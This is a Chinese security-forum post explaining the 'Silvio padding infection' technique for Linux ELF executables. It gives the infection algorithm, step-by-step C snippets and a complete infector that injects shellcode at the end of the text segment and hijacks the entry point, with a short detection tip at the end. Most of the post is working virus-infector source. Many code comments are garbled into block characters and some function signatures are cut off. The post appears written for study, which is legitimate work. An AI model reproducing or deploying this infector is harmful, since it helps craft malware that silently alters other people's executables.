Linux病毒技术之Silvio填充感染

yong夜 / 2019-05-27 08:59:00 / 浏览数 4376 安全技术 二进制安全 顶(0) 踩(0)

[TOC]

Linux病毒技术之Silvio填充感染

通过将寄生程序注入到ELF可执行文件的代码段尾部作为代码段(以内存页4096字节长度为单位)的一部分来进行执行。

为什么叫Silvio填充感染呢？ 这是因为这项技术是Silvio Cesare 在 20 世纪 90 年代末期发明的。

感染算法

将ELF文件头结构体中的ehdr->e_shoff属性增加PAGE_SIZE大小

[^PAGE_SIZE]: 一个内存页的长度
[^ehdr_shoff]:
节头表偏移，如果二进制文件有节头表，节头表在文件格式布局的底部，向上紧挨着的就是每个节(段)的内容，寄生代码注入到了text段后面，即被注入到text段中最后一

定位text段的程序头表

将elf文件头中的程序入口点修改为寄生代码的地址

```
ehdr->e_entry = phdr[TEXT].p_vaddr + phdr[TEXT].p_filesz
```

将 phdr[TEXT].p_filesz 增加寄生代码的长度值

将 phdr[TEXT].p_memsz 增加寄生代码的长度值。

对每个 phdr，如果对应的段位于寄生代码之后，则将 phdr[x].p_offset 增加PAGE_SIZE 大小的字节。

找到 text 段的最后一个 shdr，将 shdr[x].sh_size 增加寄生代码的长度值（因为在这个节中将会存放寄生代码）。

对每个位于寄生代码插入位置之后的 shdr，将 shdr[x].sh_offset增加 PAGE_SIZE 的大小值。

将真正的寄生代码插入到 text 段的 file_base + phdr[TEXT].p_filesz

具体实现

根据感染算法来编写:

1、修改节头偏移

```
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;
ehdr->e_shoff += PAGE_SIZE;
```

2、保存原始入口点，等shellcode执行完毕后跳回原始入口并开始执行正常逻辑

```
old_e_entry = ehdr->e_entry;
```

修改文件头，将程序入口修改到shellcode的位置，shellcode的位置就是text段的尾部

```
if (phdr[i].p_type == PT_LOAD) {
       if (phdr[i].p_offset == 0) {
           o_text_filesz = phdr[i].p_filesz;
           end_of_text = phdr[i].p_offset + phdr[i].p_filesz;
           //■■■■■■■■■■
           parasite_vaddr = phdr[i].p_vaddr + o_text_filesz;
           //■■■■■■■■■■■■■■
           ehdr->e_entry = parasite_vaddr;
           //■■text■■■■■■■■■■■■■■
           phdr[i].p_filesz += parasite_len;
           phdr[i].p_memsz += parasite_len;
           //■■■■■■■■■■■■■■■■■■PAGE_SIZE■■
           for (j = i + 1; j < ehdr->e_phnum; j++)
               if (phdr[j].p_offset > phdr[i].p_offset + o_text_filesz)
```

```
                phdr[j].p_offset += PAGE_SIZE;
            }
        break;
        }
    }
```

3、修改节头，因为寄生代码是存放在text段内最后一个节的里面，所以对最后一个节进行体积增加,并且对后面的节进行偏移修改，增加PAGE_SIZE长度

```
//adjust section headers
   for (i = 0; i < ehdr->e_shnum; i++) {
       if (shdr[i].sh_addr > parasite_vaddr)
           shdr[i].sh_offset += PAGE_SIZE;
           //shdr[i].sh_offset += parasite_len;
       else
           //■■■■■■■■■■
           if (shdr[i].sh_addr + shdr[i].sh_size == parasite_vaddr)
               shdr[i].sh_size += parasite_len;
   }
```

4、寄生代码的注入

```
void insert_parasite(char *hosts_name, size_t psize, size_t hsize,uint8_t *mem, size_t end_of_text, uint8_t *parasite, uint32_
{
   int ofd;
   unsigned int c;
   int i, t = 0;
   int ret;
   //■■■■■■■■■■■■■■■■■■■■
   ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC,S_IRUSR|S_IXUSR|S_IWUSR);
   //■■■■text■(■■■■■■text■■■)
   ret = write (ofd, mem, end_of_text);
   //■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
   *(uint32_t *) &parasite[jmp_code_offset] = old_e_entry;
   //■■■■■■■■
   write (ofd, parasite, psize);
   //■■■■■■■■■■■■■■■■■■■■■■■■PAGE_SIZE■■■
   lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);
   mem += end_of_text;
   unsigned int sum = end_of_text + PAGE_SIZE;
   //■■■■■■■■text■■■■■■■■■■■
   unsigned int last_chunk = hsize - end_of_text;
   //■■■■■■
   write (ofd, mem, last_chunk);
   close (ofd);
}
```

完整源码

这个是对本目录下的64位test程序进行寄生的

```
#include <stdio.h>
#include "elf.h"
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>

#define PAGE_SIZE 4096*3
#define TMP "test2"
#define JMP_PATCH_OFFSET 1

char parasite_shellcode[] = "\xb8\x00\x00\x00\x00\xff\xe0";

int main(){
   FILE *file;
   int fd, i, c;
   struct stat statbuf;

   fd = open ("./test", O_RDONLY);
   stat("./test",&statbuf);
```

```
   int size = statbuf.st_size;
   char dest[size];
   c = read (fd, dest, size);
   silvio_text_infect("./test", dest, parasite_shellcode, sizeof(parasite_shellcode));

   return 0;
}

/*
* text■■■■■■■
*
* host: ■■■■■■■■■■
* base: ■■■■■■■■■■■■■■
* payload: ■■■■■
* parasite_len: ■■■■■■■■
*
*/
int silvio_text_infect(char* host, void* base, void* payload, size_t parasite_len)
{
   /*
    * ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
    */
   Elf64_Addr old_e_entry;
   Elf64_Addr o_text_filesz;
   Elf64_Addr parasite_vaddr;
   uint64_t end_of_text;
   int found_text;
   uint8_t *mem = (uint8_t *)base;
   uint8_t *parasite = (uint8_t *)payload;
   Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;
   Elf64_Phdr *phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
   Elf64_Shdr *shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];
   ehdr->e_shoff += PAGE_SIZE;
   struct stat statbuf;

   /*
    * Adjust program headers
    */
   int i, j;
   for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) {

   if (phdr[i].p_type == PT_LOAD) {
       if (phdr[i].p_offset == 0) {
           o_text_filesz = phdr[i].p_filesz;
           end_of_text = phdr[i].p_offset + phdr[i].p_filesz;
           parasite_vaddr = phdr[i].p_vaddr + o_text_filesz;
           old_e_entry = ehdr->e_entry;
           ehdr->e_entry = parasite_vaddr;
           phdr[i].p_filesz += parasite_len;
           phdr[i].p_memsz += parasite_len;
           //ehdr->e_shoff += parasite_len;
           for (j = i + 1; j < ehdr->e_phnum; j++)
               if (phdr[j].p_offset > phdr[i].p_offset + o_text_filesz)
                   phdr[j].p_offset += PAGE_SIZE;
                   //phdr[j].p_offset += parasite_len;
           }
       break;
       }
   }
   //adjust section headers
   for (i = 0; i < ehdr->e_shnum; i++) {
       if (shdr[i].sh_addr > parasite_vaddr)
           shdr[i].sh_offset += PAGE_SIZE;
           //shdr[i].sh_offset += parasite_len;
       else
           if (shdr[i].sh_addr + shdr[i].sh_size == parasite_vaddr)
               shdr[i].sh_size += parasite_len;
   }
   stat(host,&statbuf);
```

```
   int size = statbuf.st_size;
   insert_parasite(host, parasite_len, size, base, end_of_text, parasite, JMP_PATCH_OFFSET, old_e_entry);
   return 0;

}

void insert_parasite(char *hosts_name, size_t psize, size_t hsize,uint8_t *mem, size_t end_of_text, uint8_t *parasite, uint32_
{
   int ofd;
   unsigned int c;
   int i, t = 0;
   int ret;

   ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC,S_IRUSR|S_IXUSR|S_IWUSR);
   ret = write (ofd, mem, end_of_text);
   *(uint32_t *) &parasite[jmp_code_offset] = old_e_entry;
   write (ofd, parasite, psize);
   lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);
   mem += end_of_text;
   unsigned int sum = end_of_text + PAGE_SIZE;
   unsigned int last_chunk = hsize - end_of_text;
   write (ofd, mem, last_chunk);
   close (ofd);
}
```

小结

1、这里和linux二进制分析中稍有出入，他那里总结的是寄生代码大小被控制在一个内存页的大小，而我这里觉得只要代码段的长度不是固定的，那么就可以段对齐长度的整

2、PAGE_SIZE长度，不管是32位还是64位，这个值都是4096（一个内存页标准长度：0x1000byte）的整数倍，这里应该和文件的段对齐有关，后面详细了解ELF文件再确

3、怎么检测：可以检测入口点在text位置，正常的程序入口点在text节的首部，而text感染技术的入口点没有在text段中最后一个节的头部。

参考

[1] Linux二进制分析

[2] 感染ELF文件(2)https://blog.csdn.net/zhongyunde/article/details/8657022

点击收藏 | 0 关注 | 1
上一篇：ret2vdso exploit 下一篇：CVE-2017-11176: 一...
1. 0 条回复
- 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板